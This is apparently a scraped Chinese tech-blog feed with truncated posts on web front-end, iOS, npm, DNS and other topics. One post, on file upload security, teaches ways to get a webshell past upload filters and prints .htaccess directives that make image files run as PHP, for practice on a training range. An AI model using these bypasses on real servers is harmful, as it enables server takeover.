这里你或许有个疑问：请求跨域了，那么请求到底发出去没有？

跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了。你可能会疑问明明通过表单的方式可以发起跨域请求，为什么 Ajax 就不会?因为归根结底，跨域是为了阻止用户读取到另一个域名下的内容，Ajax 可以获取响应，浏览器认为这不安全，所以拦截了响应。但是表单并不会获取新的内容，所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF，因为请求毕竟是发出去了。

二、跨域解决方案

1.jsonp

1) JSONP原理

利用 <script> 标签没有跨域限制的漏洞，网页可以得到从其他来源动态产生的 JSON 数据。JSONP请求一定需要对方的服务器做支持才可以。

2) JSONP和AJAX对比

JSONP和AJAX相同，都是客户端向服务器端发送请求，从服务器端获取数据的方式。但AJAX属于同源策略，JSONP属于非同源策略（跨域请求）

3) JSONP优缺点

JSONP优点是简单兼容性好，可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。

4) JSONP的实现流程

声明一个回调函数，其函数名(如show)当做参数值，要传递给跨域请求数据的服务器，函数形参为要获取目标数据(服务器返回的data)。
创建一个<script>标签，把那个跨域的API数据接口地址，赋值给script的src,还要在这个地址中向服务器传递该函数名（可以通过问号传参:?callback=show）。
服务器接收到请求后，需要进行特殊的处理：把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如：传递进去的函数名是show，它准备好的数据是show('我不爱你')。
最后服务器把准备的数据通过HTTP协议返回给客户端，客户端再调用执行之前声明的回调函数（show），对返回的数据进行操作。

在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的，这时候就需要自己封装一个 JSONP函数。

// index.html
function jsonp({ url, params, callback }) {
 return new Promise((resolve, reject) => {
 let script = document.createElement('script')
 window[callback] = function(data) {
 resolve(data)
 document.body.removeChild(script)
 }
 params = { ...params, callback } // wd=b&callback=show
 let arrs = []
 for (let key in params) {
 arrs.push(`${key}=${params[key]}`)
 }
 script.src = `${url}?${arrs.join('&')}`
 document.body.appendChild(script)
 })
}
jsonp({
 url: 'http://localhost:3000/say',
 params: { wd: 'Iloveyou' },
 callback: 'show'
}).then(data => {
 console.log(data)
})

上面这段代码相当于向http://localhost:3000/say?wd=Iloveyou&callback=show这个地址请求数据，然后后台返回show('我不爱你')，最后会运行show()这个函数，打印出’我不爱你'

条件渲染的常见方法和注意事项

Tue, 17 Dec 2024 00:00:00 +0800

条件渲染方式

1. if 语句

先从 React 最基本的条件类型来看。如果有数据就显示组件，如果没有数据就不显示任何内容。posts 为需要渲染的列表：

export default function App() {
  const { posts } = usePosts();

  if (!posts) return null;

  return (
    <div>
      <PostList posts={posts} />
    </div>
  );
}

这种形式会生效的原因就是我们会提前返回，如果满足条件（posts 值不存在），就通过return null 在组件中不显示任何内容。

如果有多个要检查的条件时，也可以使用 if 语句。例如，在显示数据之前检查加载和错误状态：

export default function App() {
  const { isLoading, isError, posts } = usePosts();
   
  if (isLoading) return <div>Loading...</div>;
  if (isError) return <div>Error!</div>;

  return (
    <div>
      <PostList posts={posts} />
    </div>
  );
}

这里我们可以多次使用 if 语句，不需要再使用 else 或者 if-eles 语句，这样就减少了需要编写的代码，并且可读性更强。

2. 三元运算符

当我们想提前退出或者什么都不显示时，if 语句会很有用。但是，如果我们不想写一个与返回的 JSX 分开的条件，而是直接在其中写呢？那就可以使用三元表达式来编写条件。

在 React 中，我们必须在 JSX 中包含表达式，而不是语句。这就是为什么我们在 JSX 中只能使用三元表达式，而不是 if 语句来编写条件。

meta 标签

Tue, 05 Nov 2024 00:00:00 +0800

概览

meta标签一般放在整个html页面的head部分，在MDN中对他这样定义：

meta是文档级元数据元素，用来表示那些不能由其它 HTML 元相关元素（<base>、<link>, <script>、<style>或 <title>）之一表示的任何元数据。

是不是感觉看起来很抽象？说白了就是为了传达信息。

先看看meta 元素定义的元数据的类型：

如果设置了 name属性，meta 元素提供的是文档级别的元数据，应用于整个页面。
如果设置了 http-equiv属性，meta 元素则是编译指令，提供的信息与类似命名的 HTTP 头部相同。
如果设置了 charset属性，meta 元素是一个字符集声明，告诉文档使用哪种字符编码。
如果设置了 itemprop 属性，meta 元素提供用户定义的元数据。

name属性

name和content一起使用，前者表示要表示的元数据的名称，后者是元数据的值。

author

用来表示网页的作者的名字，例如某个组织或者机构。

<meta name="author" content="aaa@mail.abc.com">

description

是一段简短而精确的、对页面内容的描述。以头条和taobao的description标签为例：

keywords

与页面内容相关的关键词，使用逗号分隔。某些搜索引擎在遇到这些关键字时，会用这些关键字对文档进行分类。还是以头条和taobao为例

viewpoint

为 viewport（视口）的初始大小提供指示。目前仅用于移动设备。

可能你也发现了，我们在vscode中自动生成html的代码片段时，会自动生成：

<meta name="viewport" content="width=device-width, initial-scale=1.0">

width用来设置 viewport 的宽度为设备宽度;

initial-scale为设备宽度与 viewport 大小之间的缩放比例。

robots

表示爬虫对此页面的处理行为，或者说，应当遵守的规则，是用来做搜索引擎抓取的。

它的content可以为：

all:搜索引擎将索引此网页，并继续通过此网页的链接索引文件将被检索
none:搜索引擎讲忽略此网页
index:搜索引擎索引此网页
follow:搜索引擎继续通过此网页的链接索引搜索其它的网页

renderer

用来指定双核浏览器的渲染方式，比如360浏览器，我们可以通过这个设置来指定360浏览器的渲染方式

<meta name="renderer" content="webkit"> //默认webkit内核
<meta name="renderer" content="ie-comp"> //默认IE兼容模式
<meta name="renderer" content="ie-stand"> //默认IE标准模式

http-equiv

http-equiv也是和content一起使用，前者表示要表示的元数据的名称，后者是元数据的值。

http-equiv 所有允许的值都是特定 HTTP 头部的名称，

position

Tue, 08 Oct 2024 00:00:00 +0800

CSS 中 position 属性用于指定元素的定位方法的类型（static、relative、absolute、fixed、sticky）。

静态定位 position: static

此属性未 HTML 元素默认定位，一个元素没有以任何特殊的方式定位，它总是按照页面的正常流程定位。

在此属性下，属性值 top、left、right、bottom 和 z-index 对HTML元素没有影响。

<div class="parent">
 <div class="child"></div>
</div>
<div class="sibling"></div>
<style type="text/css">
 .parent {
 width: 480px;
 height: 320px;
 background-color: #008800;
 }
 .child {
 width: 240px;
 height: 160px;
 background-color: #ff0000;
 }
 .sibling {
 width: 240px;
 height: 160px;
 background-color: #0000ff;
 }
</style>

效果如图：

为什么使用它呢？将元素设置为 position: static 的唯一原因是强制删除应用于无法控制的元素上的某些定位。

相对定位 position: relative

此属性相对于其正常位置的，在不改变布局的情况下根据元素的当前位置定位元素。

生命周期

Fri, 04 Oct 2024 00:00:00 +0800

vue3生命周期

在Vue中，生命周期指的是Vue实例从创建到销毁的过程。在这个过程中，Vue实例会经历一系列的阶段，包括数据观测、模板编译、挂载DOM、更新DOM、卸载等等。在这些阶段，Vue提供了一些生命周期钩子函数，让我们可以在特定的时机执行某些代码。

为什么需要生命周期

生命周期钩子函数为我们提供了在Vue实例生命周期不同阶段执行代码的能力。这对于非响应式的操作非常有用，例如直接操作DOM、添加事件监听器或者创建定时器等。这些操作如果在数据变化时执行可能会导致不必要的性能开销，而生命周期钩子函数让我们可以更合理地安排这些操作的执行时机。一些常用的库，例如react，webpack都提供了生命周期的钩子，方便开发者理解整个运行流程。

Vue3 有哪些生命周期，分别在什么时候调用？

Vue3的生命周期钩子函数主要包括：

beforeCreate: 创建实例之前调用，此时实例的数据观测、事件等还未初始化。
created: 创建实例后调用，此时实例的数据观测、事件等已经初始化完成。
beforeMount: 挂载实例之前调用，此时模板已经编译完成，但是还未挂载到DOM。
mounted: 挂载实例后调用，此时实例已经挂载到DOM，可以进行DOM操作。
beforeUpdate: 数据更新之前调用，此时可以进行状态的最后更改。
updated: 数据更新后调用，此时DOM已经完成更新，可以进行DOM操作。
beforeUnmount: 卸载实例之前调用，此时实例仍然完全可用。
unmounted: 卸载实例后调用，此时实例已经完全卸载。

生命周期类型的枚举位于packages/runtime-core/src/enums.ts目录下：

export const enum LifecycleHooks {
  BEFORE_CREATE = 'bc', // 创建之前
  CREATED = 'c', // 创建
  BEFORE_MOUNT = 'bm', // 挂载之前
  MOUNTED = 'm', // 挂载
  BEFORE_UPDATE = 'bu', // 更新之前
  UPDATED = 'u', // 更新
  BEFORE_UNMOUNT = 'bum', // 卸载之前
  UNMOUNTED = 'um', // 卸载之后
  DEACTIVATED = 'da', // 被 keep-alive 缓存的组件停用时调用。
  ACTIVATED = 'a', // 被 keep-alive 缓存的组件激活时调用。
  RENDER_TRIGGERED = 'rtg', // 依赖被收集时调用
  RENDER_TRACKED = 'rtc', // 依赖被触发时调用
  ERROR_CAPTURED = 'ec', // 错误捕获
  SERVER_PREFETCH = 'sp'
}

上面生命周期可以用一张图来表示：

选项式和组合式生命周期的区别

在Vue3中，我们可以使用选项式API和组合式API来定义组件。这两种API对应的生命周期钩子函数有一些区别。

选项式API的生命周期钩子函数定义在组件选项对象的methods中，例如：

export default {
  methods: {
    created() {
      // do something
   }
 }
}

组合式API的生命周期钩子函数定义在setup函数中，需要使用import从vue中引入，例如：

import { onMounted } from 'vue';

export default {
  setup() {
    onMounted(() => {
      // do something
   });
 }
}

需要注意的是，在组合式API中没有beforecate和created钩子，因为他们本身被setup这个函数替代了，直接把相关逻辑写在setup中就行了

export/import

Wed, 02 Oct 2024 00:00:00 +0800

export，import 是什么

我们知道，JS 模块导入导出，使用 import , export 这两个关键字

export 用于对外输出本模块
import 用于导入模块

也就是说使用 export 导出一个模块之后，其它文件就可以使用 import 导入相应的模块了

下面我们具体看看， import 和 export 到底怎么用？怎么导出模块（比如变量，函数，类，对象等）

1 导出单个变量

//a.js 导出一个变量，语法如下
export var site = "www.helloworld.net"

//b.js 中使用import 导入上面的变量
import { site } from "/.a.js" //路径根据你的实际情况填写
console.log(site) //输出： www.helloworld.net

2 导出多个变量

上面的例子是导出单个变量，那么如何导出多个变量呢

 //a.js 中定义两个变量，并导出
 var siteUrl="www.helloworld.net"
 var siteName="helloworld开发者社区"

 //将上面的变量导出
 export { siteUrl ,siteName }

 // b.js 中使用这两个变量
 import { siteUrl , siteName } from "/.a.js" //路径根据你的实际情况填写

 console.log(siteUrl) //输出： www.helloworld.net
 console.log(siteName) //输出： helloworld开发者社区

```

### 3 导出函数

导出函数和导出变量一样，需要添加`{ }`

````js
//a.js 中定义并导出一个函数
function sum(a, b) {
 return a + b
}
//将函数sum导出
export { sum }

//b.js 中导入函数并使用
import { sum } from "/.a.js" //路径根据你的实际情况填写
console.log( sum(4,6) ) //输出： 10

```

### 4 导出对象

js中一切皆对象，所以对象一定是可以导出的，并且有两种写法

#### 4.1 第一种写法

使用 `export default` 关键字导出，如下

````js
//a.js 中，定义对象并导出, 注意，使用export default 这两个关键字导出一个对象
export default {
 siteUrl:'www.helloworld.net',
 siteName:'helloworld开发者社区'
}

//b.js 中导入并使用
import obj from './a.js' //路径根据你的实际情况填写
console.log(obj.siteUrl) //输出：www.helloworld.net
console.log(obj.siteName) //输出：helloworld开发者社区

```

#### 4.2 第二种写法

同样是使用`export default` 关键字，如下

````js
//a.js 中定义对象，并在最后导出
var obj = {
 siteUrl:'www.helloworld.net',
 siteName:'helloworld开发者社区'
}

export default obj //导出对象obj

//b.js 中导入并使用
import obj from './a.js' //路径根据你的实际情况填写
console.log(obj.siteUrl) //输出：www.helloworld.net
console.log(obj.siteName) //输出：helloworld开发者社区

```

### 5 导出类

导出类与上面的导出对象类似，同样是用 `export default` 关键字，同样有两种写法

#### 5.1 第一种写法

````js
//a.js 中定义一个类并直接导出
export default class Person {
 //类的属性
 site = "www.helloworld.net"

 //类的方法
 show(){
 console.log(this.site)
 }
}

//b.js 中导入并使用
//导入类
import Person from './a.js'

//创建类的一个对象person
let person = new Person()

//调用类的方法
person.show() //输出：www.helloworld.net

```

#### 5.2 第二种写法

````js
//a.js 中定义一个类，最后导出
class Person {
 //类的属性
 site = "www.helloworld.net"

 //类的方法
 show(){
 console.log(this.site)
 }
}

//导出这个类
export default Person

//b.js 中导入并使用
//导入类
import Person from './a.js'

//创建类的一个对象person
let person = new Person()

//调用类的方法
person.show() //输出：www.helloworld.net

```

### 小结

下面我们简单总结一下

`export`与`export default`的区别

* export与export default均可用于导出常量、函数、文件、模块等
* 可以在其它文件或模块中通过import+(常量 | 函数 | 文件 | 模块)名的方式，将其导入，以便能够对其进行使用
* export default后面不能跟const或let的关键词
* export、import可以有多个，export default仅有一个。
* 通过export方式导出，在导入时要加 { }，export default则不需要
* export具名导出xxx ，export default匿名。区别在于导入的时候，export需要一样的名称才能匹配，后者无论取什么名都可以。
* 模块化管理中一个文件就是一个模块，export可以导出多个方法和变量，export default只能导出当前模块，一个js文件中只支持出现一个

对于 `import` ,`export` , `export default` ，他们的用法上面的例子已经很详细的列出了，忘记的时候，可以当作参考看看

最重要的还是要明白为什么要这么写，实在不明白记住就行了。

常见考点

1. `export` 的基本使用

export 用于导出模块中的内容（如变量、函数、类等），使得其他模块能够导入这些内容。

文件上传安全

Wed, 02 Oct 2024 00:00:00 +0800

文件上传漏洞简介

原理

攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本到服务器上,然后访问这些恶意脚本中包含的恶意代码,从而获得了执行服务器端命令的能力,进一步影响服务器安全。

危害

文件上传漏洞最直接的威胁就是上传任意文件，包括恶意脚本、可执行程序等。

如果Web 服务器所保存上传文件的可写目录具有执行权限，那么就可以直接上传后门文件，导致网站沦陷。

如果攻击者通过其他漏洞进行提权操纵，拿到系统管理权限，那么直接导致服务器沦陷。

同服务器下的其他网站无一幸免，均会被攻击者控制。

利用

对于利用，我们只需要有个文件上传的点，以及我们知道我们所传的文件所在目录并且上传的恶意文件能够被web容器解析执行，便可能存在文件上传漏洞。

实战

说是实战但是因为不能随便入侵别人的机器(有概率获取银手镯一套)，这里给大家推荐一个专门用来练习文件上传漏洞的不同利用方法的靶场。

github.com/c0ny1/uploa…

可以看到里面有很多关卡，对于环境的搭建，这里我推荐用phpstudy去进行一键搭建，比较适合入门的萌新，具体搭建方法不是本文的重点，于是我们跳过，接下来给大家带来文件上传漏洞一些常见的绕过方法。

客户端检测绕过

有的客户端会存在客户端校验，校验上传文件的后缀名，当我们传入php木马时可能会因为类型不同被禁止，此时我们要怎么进行上传一句话木马呢，这里给大家提供两个思路，第一个我们可以禁用浏览器的JS脚本，第二种方法便是使用渗透中常用工具burpsuit进行抓包，然后修改文件后缀为php即可绕过，因为他只是做了一个前端的简单验证。

修改MIME 类型

有的服务器端将会对上传文件content-type类型进行检查以此来防范恶意文件的上传，这时我们打开burp suite将php文件上传，因为content-type的类型不是服务器认可的类型，那么我们就可以使用burpsuite进行修改该文件类型，并将该文件进行上传。

常见的content-type对应类型如下：

00截断绕过

运用此漏洞需要满足两个条件：

1.php版本小于5.3.4

2.php的magic_quotes_gpc为OFF状态

0x开头表示16进制，0在十六进制中是00, 0x00就是%00解码成的16进制，具体运用方法如下，假如我们上传一个一句话木马：

攻击者修改了path以后的拼接结果为：uploads/XINO.php%00/20190818.php，移动文件的时候会将文件保存为：uploads/XINO.php，以此我们便可以绕过检测来上传一句话木马。

.htaccess文件攻击

.htaccess文件(或者"分布式配置文件"）,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法，即，在一个特定的文档目录中放置一个包含一个或多个指令的文件，以作用于此目录及其所有子目录。

简单来说该文件的作用就是根据里面的内容解析为我们想要的类型，这么说可能很难理解，比如我上传一个图片马（JPG文件里插入了一句话木马），因为网站对我们的上传类型做了限制，我们上传不了PHP文件，我们先上传一个JPG的图片马，然后上传 .htaccess文件， 将图片解析为php语言，来达到getshell的目的。具体的文件内的内容为：

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php#在当前目录下，如果匹配到evil.gif文件，则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下，如果匹配到evil.gif文件，则被解析成PHP代码执行
</FilesMatch>

当然不止这一种，还能如下写法：

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

文件头检测

当我们上传一些文件时，有些拦截会检测我们文件里的具体内容，如果匹配了正确的文件头则会通过检测，反之则会拦截我们的文件，针对如此我们可以利用在文件前写入适当文件类型的文件头来绕过。常用的文件头如下：

JPG：FF D8 FF E0 00 10 4A 46 49 46

GIF ：47 49 46 38 39 61 (GIF89a)

作用域链与闭包

Tue, 01 Oct 2024 00:00:00 +0800

初学JavaScript的时候，我在学习闭包上，走了很多弯路。而这次重新回过头来对基础知识进行梳理，要讲清楚闭包，也是一个非常大的挑战。

闭包有多重要？如果你是初入前端的朋友，我没有办法直观的告诉你闭包在实际开发中的无处不在，但是我可以告诉你，前端面试，必问闭包。面试官们常常用对闭包的了解程度来判定面试者的基础水平，保守估计，10个前端面试者，至少5个都死在闭包上。

可是为什么，闭包如此重要，还是有那么多人没有搞清楚呢？是因为大家不愿意学习吗？还真不是，而是我们通过搜索找到的大部分讲解闭包的中文文章，都没有清晰明了的把闭包讲解清楚。要么浅尝辄止，要么高深莫测，要么干脆就直接乱说一通。包括我自己曾经也写过一篇关于闭包的总结，回头一看，不忍直视[捂脸]。

因此本文的目的就在于，能够清晰明了得把闭包说清楚，让读者朋友们看了之后，就把闭包给彻底学会了，而不是似懂非懂。

一、作用域与作用域链

在详细讲解作用域链之前，我默认你已经大概明白了JavaScript中的下面这些重要概念。这些概念将会非常有帮助。

基础数据类型与引用数据类型
内存空间
垃圾回收机制
执行上下文
变量对象与活动对象

如果你暂时还没有明白，可以去看本系列的前三篇文章，本文文末有目录链接。为了讲解闭包，已经为大家做好了基础知识的铺垫哦。

作用域

在JavaScript中，我们可以将作用域定义为一套规则,这套规则用来管理引擎如何在当前作用域以及嵌套的子作用域中根据标识符名称进行变量查找。

这里的标识符，指的是变量名或者函数名

JavaScript中只有全局作用域与函数作用域(因为eval我们平时开发中几乎不会用到它，这里不讨论)。
作用域与执行上下文是完全不同的两个概念。我知道很多人会混淆他们，但是一定要仔细区分。

JavaScript代码的整个执行过程，分为两个阶段，代码编译阶段与代码执行阶段。编译阶段由编译器完成，将代码翻译成可执行代码，这个阶段作用域规则会确定。执行阶段由引擎完成，主要任务是执行可执行代码，执行上下文在这个阶段创建。

作用域链

回顾一下，我们分析过的执行上下文的生命周期，如下图：

我们知道函数在调用激活时，会开始创建对应的执行上下文，在执行上下文生成的过程中，变量对象，作用域链，以及this的值会分别被确定。之前一篇文章我们详细说明了变量对象，而这里，我们将详细说明作用域链。

作用域链，是由当前环境与上层环境的一系列变量对象组成，它保证了当前执行环境对符合访问权限的变量和函数的有序访问。

为了帮助大家理解作用域链，我我们先结合一个例子，以及相应的图示来说明。

var a = 20;

function test() {
 var b = a + 10;

 function innerTest() {
 var c = 10;
 return b + c;
 }

 return innerTest();
}

test();

在上面的例子中，全局，函数test，函数innerTest的执行上下文先后创建。我们设定他们的变量对象分别为VO(global)，VO(test), VO(innerTest)。而innerTest的作用域链，则同时包含了这三个变量对象，所以innerTest的执行上下文可如下表示。

innerTestEC = {
 VO: {...}, // 变量对象
 scopeChain: [VO(innerTest), VO(test), VO(global)], // 作用域链
}

我们可以直接用一个数组来表示作用域链，数组的第一项scopeChain[0]为作用域链的最前端，而数组的最后一项，为作用域链的最末端，所有的最末端都为全局变量对象。

很多人会误解为当前作用域与上层作用域为包含关系，但其实并不是。以最前端为起点，最末端为终点的单方向通道我认为是更加贴切的形容。如图。

注意，因为变量对象在执行上下文进入执行阶段时，就变成了活动对象，这一点在上一篇文章中已经讲过，因此图中使用了AO来表示。Active Object

是的，作用域链是由一系列变量对象组成，我们可以在这个单向通道中，查询变量对象中的标识符，这样就可以访问到上一层作用域中的变量了。

二、闭包

对于那些有一点 JavaScript 使用经验但从未真正理解闭包概念的人来说，理解闭包可以看作是某种意义上的重生，突破闭包的瓶颈可以使你功力大增。

闭包是一种特殊的对象。

它由两部分组成。执行上下文(代号A)，以及在该执行上下文中创建的函数（代号B）。

当B执行时，如果访问了A中变量对象中的值，那么闭包就会产生。

在大多数理解中，包括许多著名的书籍，文章里都以函数B的名字代指这里生成的闭包。而在chrome中，则以执行上下文A的函数名代指闭包。

因此我们只需要知道，一个闭包对象，由A、B共同组成，在以后的篇幅中，我将以chrome的标准来称呼。

// demo01
function foo() {
 var a = 20;
 var b = 30;

 function bar() {
 return a + b;
 }

 return bar;
}

var bar = foo();
bar();

上面的例子，首先有执行上下文foo，在foo中定义了函数bar，而通过对外返回bar的方式让bar得以执行。当bar执行时，访问了foo内部的变量a，b。因此这个时候闭包产生。

iOS中import详解

Mon, 08 Jun 2026 23:06:52 +0800

源码版本说明：本文涉及的源码基于 LLVM/Clang 23.0.0 开发版本（llvm-project main分支，commit: 301c0d91b558，2026-01-16）。不同版本的实现细节可能略有差异，但核心机制保持一致。

在Objective-C开发中，头文件引用是日常开发中最基础的操作之一。本文将从Clang编译器的角度，深入讲解iOS中各种import方式的区别、底层查找原理以及最佳实践。

引用方式	语法示例	适用场景
#include	`#include "Header.h"`	C/C++传统方式
#import	`#import "Header.h"`	Objective-C项目内部引用
#import	`#import <Framework/Header.h>`	系统/第三方Framework
@import	`@import Foundation;`	Clang Modules方式
PCH	Prefix Header文件	预编译公共头文件

#include vs #import

#include的工作原理

#include是C/C++中的头文件引用方式，它的工作原理非常简单：预处理器会将目标头文件的内容原封不动地复制粘贴到当前文件中。

这种方式存在一个问题：重复引用。如果多个文件都include了同一个头文件，或者存在循环引用，会导致编译错误。传统的解决方案是使用Include Guard：

// Header.h
#ifndef HEADER_H
#define HEADER_H
// 头文件内容
#endif

现代编译器还支持#pragma once指令，功能相同但更简洁：

// Header.h
#pragma once
// 头文件内容

#import的增强

#import是Objective-C对#include的封装和增强。它在#include的基础上增加了一层判重逻辑，自动防止同一个头文件被重复引用。

// BClass.m
#import "AClass.h"
#import "AClass.h" // 第二次import会被自动忽略

双引号 vs 尖括号

在日常开发中，我们经常会看到两种不同的引用方式：

#import "MyClass.h" // 双引号形式
#import <UIKit/UIKit.h> // 尖括号形式

它们的核心区别在于搜索路径的范围不同：

Prompt Engineering

Sat, 02 May 2026 22:32:27 +0800

大语言模型（LLM）的能力边界很大程度上取决于你怎么跟它说话。同样的模型，一个精心设计的Prompt可以得到专业级的回答，一个随意的Prompt可能只得到平庸甚至错误的结果。Prompt Engineering就是研究如何有效地与LLM沟通的技术。

一、Prompt的基本构成

1.1 一个Prompt的解剖

一个高质量的Prompt通常包含以下要素：

graph TD
P["完整的Prompt"] --> R["角色
Role"]
P --> C["上下文
Context"]
P --> I["指令
Instruction"]
P --> E["示例
Examples"]
P --> F["格式要求
Format"]
P --> CO["约束
Constraints"]

要素	作用	示例
角色	设定模型的身份和专业背景	“你是一位有10年经验的iOS架构师”
上下文	提供背景信息	“我们的项目使用MVVM架构，Swift语言”
指令	明确说明任务	“请review以下代码并指出问题”
示例	展示期望的输入输出格式	给出一个输入-输出样例
格式要求	指定输出的结构	“以Markdown表格形式输出”
约束	限制条件	“不超过500字"“只使用Swift标准库”

1.2 System Prompt vs User Prompt

在API调用中，消息分为不同的角色：

{
 "messages": [
 {
 "role": "system",
 "content": "你是一位资深iOS开发工程师，擅长性能优化。回答时给出具体的代码示例。"
 },
 {
 "role": "user",
 "content": "如何优化UITableView的滚动性能？"
 }
 ]
}

System Prompt：设定模型的整体行为、角色和约束，贯穿整个对话
User Prompt：具体的问题或指令
Assistant：模型的历史回复，提供对话上下文

二、核心Prompt技术

2.1 Zero-Shot Prompting

直接给指令，不提供任何示例：

策略模式

Sat, 02 May 2026 22:32:27 +0800

定义

策略模式（Strategy Pattern）是一种行为型设计模式，它定义了一系列算法，将每个算法封装起来，并使它们可以相互替换。策略模式让算法独立于使用它的调用者而变化。

策略模式的核心思想是：将算法的定义与使用分离，通过组合而非继承来实现算法的切换。

为什么需要策略模式

在实际开发中，我们经常会遇到这样的场景：同一个功能有多种实现方式，而且这些实现方式需要根据不同条件进行切换。

问题场景：假设我们正在开发一个电商App的支付功能，需要支持信用卡、Apple Pay、支付宝等多种支付方式。

最直接的实现方式可能是这样：

func processPayment(type: String, amount: Double) {
 if type == "creditCard" {
 // 信用卡支付逻辑（可能有几十行代码）
 print("Processing credit card payment...")
 } else if type == "applePay" {
 // Apple Pay支付逻辑
 print("Processing Apple Pay...")
 } else if type == "alipay" {
 // 支付宝支付逻辑
 print("Processing Alipay...")
 }
 // 后续可能还要添加更多支付方式...
}

这种实现方式存在几个明显的问题：

违反开闭原则：每次添加新的支付方式，都需要修改这个函数，增加新的分支
代码臃肿：随着支付方式增多，函数会变得越来越长，难以维护
测试困难：所有支付逻辑耦合在一起，难以单独测试某种支付方式
复用性差：如果其他地方也需要使用某种支付逻辑，只能复制代码

策略模式的解决思路：

策略模式将每种支付方式抽取为独立的类（策略），它们都实现相同的接口。调用方只需要持有策略接口的引用，不需要知道具体是哪种实现。

这样做的好处是：

新增支付方式：只需要新建一个策略类，无需修改现有代码
代码清晰：每种支付逻辑独立封装，职责单一
易于测试：可以对每种策略单独进行单元测试
运行时切换：用户可以随时切换支付方式，系统只需要替换策略对象

简单来说，策略模式就是把「做什么」和「怎么做」分离开来——调用方只关心「做什么」，具体「怎么做」由不同的策略类来决定。

模式结构

classDiagram
class Context {
-strategy: Strategy
+setStrategy(strategy: Strategy)
+executeStrategy()
}
class Strategy {
<<interface>>
+execute()
}
class ConcreteStrategyA {
+execute()
}
class ConcreteStrategyB {
+execute()
}
class ConcreteStrategyC {
+execute()
}
Context o-- Strategy
Strategy <|.. ConcreteStrategyA
Strategy <|.. ConcreteStrategyB
Strategy <|.. ConcreteStrategyC

角色说明

Strategy（策略接口）：定义所有支持的算法的公共接口
ConcreteStrategy（具体策略）：实现Strategy接口的具体算法
Context（上下文）：持有Strategy的引用，负责调用策略方法

iOS中的实现

基础实现

// 策略协议
protocol PaymentStrategy {
 func pay(amount: Double) -> Bool
 var name: String { get }
}

// 具体策略 - 信用卡支付
class CreditCardPayment: PaymentStrategy {
 private let cardNumber: String
 private let cvv: String

 var name: String { "Credit Card" }

 init(cardNumber: String, cvv: String) {
 self.cardNumber = cardNumber
 self.cvv = cvv
 }

 func pay(amount: Double) -> Bool {
 print("Paying \(amount) using Credit Card ending with \(cardNumber.suffix(4))")
 // 实际支付逻辑
 return true
 }
}

// 具体策略 - Apple Pay
class ApplePayPayment: PaymentStrategy {
 var name: String { "Apple Pay" }

 func pay(amount: Double) -> Bool {
 print("Paying \(amount) using Apple Pay")
 // 调用Apple Pay SDK
 return true
 }
}

// 上下文
class PaymentContext {
 private var strategy: PaymentStrategy

 init(strategy: PaymentStrategy) {
 self.strategy = strategy
 }

 func setStrategy(_ strategy: PaymentStrategy) {
 self.strategy = strategy
 }

 func checkout(amount: Double) -> Bool {
 print("Processing payment with \(strategy.name)...")
 return strategy.pay(amount: amount)
 }
}

// 使用
let creditCard = CreditCardPayment(cardNumber: "1234567890123456", cvv: "123")
let context = PaymentContext(strategy: creditCard)
context.checkout(amount: 99.99)

// 切换支付方式
let applePay = ApplePayPayment()
context.setStrategy(applePay)
context.checkout(amount: 99.99)

使用闭包简化策略

对于简单的策略，可以使用闭包代替完整的类：

包管理

Thu, 07 Aug 2025 00:00:00 +0800

现如今，前端开发的同学已经离不开 npm 这个包管理工具，其优秀的包版本管理机制承载了整个繁荣发展的NodeJS社区，理解其内部机制非常有利于加深我们对模块开发的理解、各项前端工程化的配置以加快我们排查问题（相信不少同学收到过各种依赖问题的困扰）的速度。

本文从三个角度：package.json、版本管理、依赖安装结合具体实例对 npm 的包管理机制进行了详细分析。

一、剖析 package.json

在 Node.js 中，模块是一个库或框架，也是一个 Node.js 项目。Node.js 项目遵循模块化的架构，当我们创建了一个 Node.js 项目，意味着创建了一个模块，这个模块必须有一个描述文件，即 package.json。它是我们最常见的配置文件，但是它里面的配置你真的有详细了解过吗？配置一个合理的 package.json 文件直接决定着我们项目的质量，所以首先带大家分析下 package.json 的各项详细配置。

1.1 必备属性

package.json 中有非常多的属性，其中必须填写的只有两个：name 和 version ，这两个属性组成一个 npm 模块的唯一标识。

npm包命名规则

name 即模块名称，其命名时需要遵循官方的一些规范和建议：

包名会成为模块url、命令行中的一个参数或者一个文件夹名称，任何非url安全的字符在包名中都不能使用，可以使用 validate-npm-package-name 包来检测包名是否合法。
语义化包名，可以帮助开发者更快的找到需要的包，并且避免意外获取错误的包。
若包名称中存在一些符号，将符号去除后不得与现有包名重复

例如：由于react-native已经存在，react.native、reactnative都不可以再创建。

如果你的包名与现有的包名太相近导致你不能发布这个包，那么推荐将这个包发布到你的作用域下。

例如：用户名 conard，那么作用域为 @conard，发布的包可以是@conard/react。

查看包是否被占用

name 是一个包的唯一标识，不得和其他包名重复，我们可以执行 npm view packageName 查看包是否被占用，并可以查看它的一些基本信息：

若包名称从未被使用过，则会抛出 404 错误：

另外，你还可以去 https://www.npmjs.com/ 查询更多更详细的包信息。

1.2描述信息

基本描述

{
 "description": "An enterprise-class UI design language and React components implementation",
 "keywords": [
 "ant",
 "component",
 "components",
 "design",
 "framework",
 "frontend",
 "react",
 "react-component",
 "ui"
 ]
}

description用于添加模块的的描述信息，方便别人了解你的模块。

DNS解析

Mon, 28 Jul 2025 00:00:00 +0800

TCP/IP提供了通过 IP地址 来连接到设备的功能，但对用户来讲，记住某台设备的IP地址是相当困难的，因此专门设计了一种字符串形式的主机命名机制，这些主机名与IP地址相对应。在IP地址与主机名之间需要有一种转换和查询机制，提供这种机制的系统就是域名系统DNS（Domain Name System）。

为什么要有DNS？

